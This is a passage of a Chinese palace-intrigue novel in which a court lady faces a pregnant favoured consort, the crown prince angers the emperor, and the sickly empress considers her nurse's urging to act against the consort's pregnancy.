窗子刚合上,知微回眸,恰见平海悄步上前,祝隶稷低声吩咐着什么。
“去,传太医正来,瞧瞧这香。”祝隶稷声音不算大,但知微在偏殿与正殿的连接处,离内室很近,知微都不必竖耳,轻松凑齐了讯息。
帘幔微动,遮住了帝王莫测的神情。知微确认窗户不再漏风,径直走了出去,脸上甚至连一丝波澜都无,仿佛早已料到,或是根本不在意。
出了殿,恰是午后,知微走下台阶,阳光有些刺眼,她微微眯了眯,那只残手在袖中下蜷紧,又缓缓松开。
御花园里,几个小太监正围着个跪在地上的小宫女叱骂。
这样的事太多,知微本欲绕开,却听那宫女压抑的啜泣声里混着几句“贵人恕罪”。
声音实在凄惨,知微不由蹙起眉。
“怎么回事?”知微走近探问,她身上的腰牌闪烁,迷住那几个小太监的眼。
宫里多少传过那位在圣上身旁的女官的故事,有人通过腰牌认出了知微,上前回复:“启禀姑姑,这贱奴失手打碎了贵人新得的琉璃盏,小的正教训呢!”
“教训?”知微尚未说完话,一道娇慵含笑的嗓音自花丛后传来。
“哟,本宫当是谁有这闲心管闲事,原来是皇上身边的红人。”
万珍儿扶着似玉的手,慢悠悠转出来,她目光在知微身上一转,又落在那跪地的宫女身上,唇角勾着:“怎么,是我储秀宫的人犯了错,你却善心的很,手宽到要插手我的事了?”
知微敛颌行礼:“奴婢不敢。”
她的眼睛瞟过万珍儿华服下的小腹:“只是贵妃娘娘凤体贵重,何必为这点小事动气,若是伤了腹中龙嗣,岂非因小失大。”
56. 只教人间无白首(一)
万珍儿闻言,纤指下意识地抚上小腹,脸上掠过一丝混合着得意与思索的神色。
她颈间有翠色流光一闪,知微抬眼,看清了那枚水头极足、几乎毫无杂质的翡翠平安锁,用细细的金链坠着,正是前些日子进贡的极品帝王绿所制。
知微记得清楚,那是她亲自清点的,祝隶稷还叫她仔细存放,不要用手污了贡品。
这帝王绿翡翠总共进贡了两块,另一块稍小些的,被匠人精心打磨成一对耳串,送到了坤宁宫。
万珍儿有孕不过两月,但毕竟是祝隶稷登位以来的第一子,又是在朝堂颇有权柄的万氏血脉,期间种种加成,到了万珍儿处,便成了远远超脱于寻常宠妃的恩典。
万珍儿晋了贵妃位,不光是奇珍异宝,祝隶稷下了朝,也总是带着平海往储秀宫跑。
大抵是出于从前事积累下的猜忌,祝隶稷不让知微参与后宫事务的打理,知微只是在库房核对,看着宝贝似流水般从库房点出。
万珍儿捕捉到知微那一瞥,指尖捻起那枚翡翠,笑声清脆,却无端透出冷意:“是在看我胸前这枚翡翠吗。”
“皇上说了,这翡翠养人,最宜安胎。本宫瞧着也是,不过还是大点的看着养眼,若是只有个耳坠大小,看着就不够鲜亮水灵了。”
万珍儿话里有话,里头的刺毫不掩饰地指向中宫。似玉在一旁低眉顺眼,嘴角却极细微地撇了一下。
知微目光平静,心中虽有波澜,面上却不露分毫:“娘娘的眼光自然是好,这等成色,怕是连御花园中最娇艳的花朵都要黯然失色了。
她的话语中带着几分恭维,几分疏离。
闻言,万珍儿轻笑一声,将翡翠重新藏回衣襟内。
“皇上对我的恩宠,可不止这一块翡翠呢。”她故意拖长了尾音,目光在知微脸上停留片刻,“皇后娘娘见了,也都得羡慕得紧,只是嘴硬不肯说罢了。”
万珍儿语气轻飘飘的,她还记得前些日子遇见程玊芝,面前人满身药草味,脸色也煞白,只耳边别的那一翡翠生动,只可惜实在太小,这一星半点的珍重,在万珍儿随口一提便得到的大块帝王绿前,当真是黯然失色。
程玊芝自然也意识到了,神色都闪过一丝不对,可还是强撑体面。:“妹妹有孕在身,圣上多眷顾些也是应当。”
话一毕,连片刻都不留,叫嬷嬷扶着直接走了。
万珍儿一直盯着她的背影消失在转角,内心发笑起来。
听听,这话说的,多体面?
就是不知夜里卸了钗环,对着镜子瞧见自个儿那副失爱衰老的面容时,看着空荡的宫殿,心里头是否也这般敞亮。
将全部心思寄托在他人处,便要想见这般的结局。
万珍儿回过神,扫过知微低垂平淡的脸:“所以说啊,这宫里的日子长着呢。”
“看在你的面上,我也懒得追究了。”万珍儿在那被惩处的宫女旁驻足,“今日是琉璃盏,明日保不齐就是别的什么金贵东西。长点神吧,不然谁也救不了你。”
一旁的太监让那宫女赶紧滚,宫女立马抬头,激动着狠狠磕了好几个头,踉跄离开了。
知微行礼,也准备离去,临去前,万珍儿叫住了她。
“晏知微,当块石头有意思吗?
“我和你偏就不同,和皇后之事,这还只是开始,你擦亮眼睛,慢慢瞧好了。”丢下这句话,万珍儿头也不回地离开了。
——
御书房。
书房内,祝晟正襟危坐,陈述自己新作的奏章,少年的声音清朗,带着些紧张,但大抵流畅,虽见解尚显稚嫩,却条理清晰,显是下了苦功。
祝隶稷坐在上首,手中握着一杯热茶,淡淡瞧着祝晟。
“‘不役耳目,百度惟贞。玩人丧德,玩物丧志’,这话倒是引用的不错,总算没全然荒废了功课。”祝隶稷难得面色稍霁,指尖在案上叩了叩。
“算是有了些继承大统的样。”在祝隶稷心中,祝晟向来顽劣,是以能有这般评论,已经算是难得的好评。
祝晟悄悄松了口气,眼底刚露出一丝光亮,觑着父皇脸色,犹豫片刻,还是鼓起勇气,小心翼翼地开口:“父皇,儿臣近日读书,有地方存在不解,可否请父皇替儿臣开解一二?”
祝晟通常是不敢和祝隶稷多说些什么的,或许是鲜少见儿子如此好学,祝隶稷的尾音也带了分轻松:“你问吧。”
祝晟赶忙行礼,缓缓道:“儿臣翻阅典籍,见《礼记》有云:‘妻者,齐也,与夫齐体,自天子至于庶人,其义一也。’儿臣以为,这是否是说,夫妻本一体,是齐等而彼此尊崇的意思?”
祝晟声量不算大,却异常清晰,祝隶稷默默听着他说话,眼底的柔光一点点淡化。
“《春秋》有云:‘妻者,齐也。’”祝晟悄摸打量上首而坐的祝隶稷神情,见父皇仍是一副倾听的模样,胆不由得又壮了几分,“儿臣以为,这是否是暗示,宠妾压妻,乃家宅不宁之兆……”
祝晟想说的已经说完,他索性抬眼,一双发着颤却水亮的眼睛和祝隶稷很像,只是祝隶稷更深沉,更不可测些。
殿内沉默了片刻,随即传来“哐当”一声——祝隶稷将茶盏重重砸在案上,茶水溅了满桌。
“原来太子是这般以为的。”祝隶稷的声音陡地沉下去,嘴角却诡异地扯开,“依太子的意思是,朕沉溺声色,怠于朝政了?”
“儿臣……”祝晟喉间哽咽,祝隶稷的威压很大,经验叫祝晟不要继续,可心头却有一个声音教他勇敢,教他坦白,“儿臣,儿臣,儿臣只是想问父皇一个答案。”祝晟终是道。
祝隶稷冷冷看着他:“你知道吗,从出生起,你身上便流淌着朕的血脉,也许是这样,不自觉的,朕总会期待你肖朕。”祝隶稷起身,居高临下地看着他,“只可惜你还是太年轻,书没读通,倒先学会了旁敲侧击,只学了点皮毛,就敢来指点朕如何平衡后宫,如何对待朕的皇后了?”
祝晟脸色瞬间煞白,慌忙跪下:“儿臣不敢!儿臣绝非此意!儿臣只是……只是……”
“只是什么?”祝隶稷摆摆头,眼神是藏不住的失望。
“滚回去吧,没朕旨意,这些日子不必再来御书房了。”祝隶稷淡淡道。
祝晟失魂落魄地出了养心殿,一路脚步虚浮地到了坤宁宫。
宫内药气弥漫,程玊芝正半倚在软枕上,就着蒋嬷嬷的手喝药。
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见祝晟进来,她勉力支起身子,屏退了除蒋嬷嬷以外的宫人。程玊芝唤祝晟坐到床榻边,见他眼圈泛红,轻声问:“这是怎么了?可是功课没答好,又惹你父皇生气了?”
祝晟摇摇头,跪倒在母亲榻前,不敢直视母亲日渐消瘦的脸庞,他将额头抵在冰凉的床沿,声音闷闷的:“母后,父皇他……是不是从来都不喜欢我?是不是因为我没用,才连累母后也……”
“胡说些什么呢!”祝晟不是第一回在祝隶稷那吃瘪,对于这个儿子,祝隶稷向来严苛,但若论讨厌……
程玊芝打断祝晟,顿了顿:轻声道:“你是嫡长子,是大昭的太子,你父皇对你寄予厚望,严加管教正是期望你成才,怎会不喜?莫要胡思乱想。”
程玊芝示意蒋嬷嬷端来一碟精致的荷花酥,塞到祝晟手里。
“你最爱吃的,快尝尝。一点小事,过去了就忘了它。”程玊芝道。
祝晟拿着点心,却少见的毫无食欲。
他抬起头,眼中是迷茫与忧惧:“母后,今天我又惹了父皇生气,短时间内,父皇连面都不愿意见儿臣了……”
祝晟特意掩去了事情的原委,只不想让程玊芝再多伤神,可他到底是个孩子,也没怎么受过父亲的偏爱,想到如今万珍儿有孕,心情不免更加低落。
“母后,万贵妃她……有了身孕。父皇如今这般看重她,若她日后生下皇子,父皇正当盛年……会不会,会不会就觉得儿臣碍眼了?”祝晟垂下眼,他知程玊芝对他寄予厚望,只祝隶稷待他属实平平,若他不再是祝隶稷底下唯一的儿子……
祝晟抬眼,抚过程玊芝透着寒的手:“母后,儿臣其实……其实并不贪恋这太子之位,若是父皇将来能念及旧情,允儿臣早早离京,去一处安稳封地,能让儿臣奉养母后,平安度日,儿臣便也心满意足了。”
祝晟话语天真,可被离弃过的储君能有什么好下场,这话像一把最钝的刀子,缓缓割过程玊芝的心。
程玊芝的脸色在那一瞬间白得几乎透明,她猛地攥紧了锦被下的手,抬眼,与侍立床尾的蒋嬷嬷目光一碰,蒋嬷嬷眼中亦是沉痛。
殿内死寂,只有更漏滴答,一声声,敲在人心上。
良久,程玊芝极轻极缓地吐出一口气,声音低得几乎听不见:“蒋嬷嬷,去把本宫收着的那匣子老参找出来,明日,给储秀宫送去。就说万妹妹身子重,需得好生补养。”
蒋嬷嬷身子一震,难以置信地看向皇后。
程玊芝却已闭上眼,挥了挥手,倦极了:“都下去吧。晟儿,你也回去歇着,好好反省,莫再惹你父皇动怒。”
祝晟懵懂地行礼退下。
殿门轻轻合上。
幽暗的烛光里,程玊芝睁开眼,眼中一片枯寂。蒋嬷嬷跪倒在床榻前,带着孤注一掷的颤音:“娘娘……为了太子,为了您自个儿,万不能让那位生下皇子啊!”
“老身伺候娘娘多年,只要您一声令下,奴婢愿为您赴汤蹈火也在所不惜。”蒋嬷嬷又道。
程玊芝没有立刻回答,只怔怔地望着帐顶的绣纹,一滴泪无声地从眼角滑落,迅速湮没在锦枕之中。
“此事,容我再想想。”程玊芝低声道。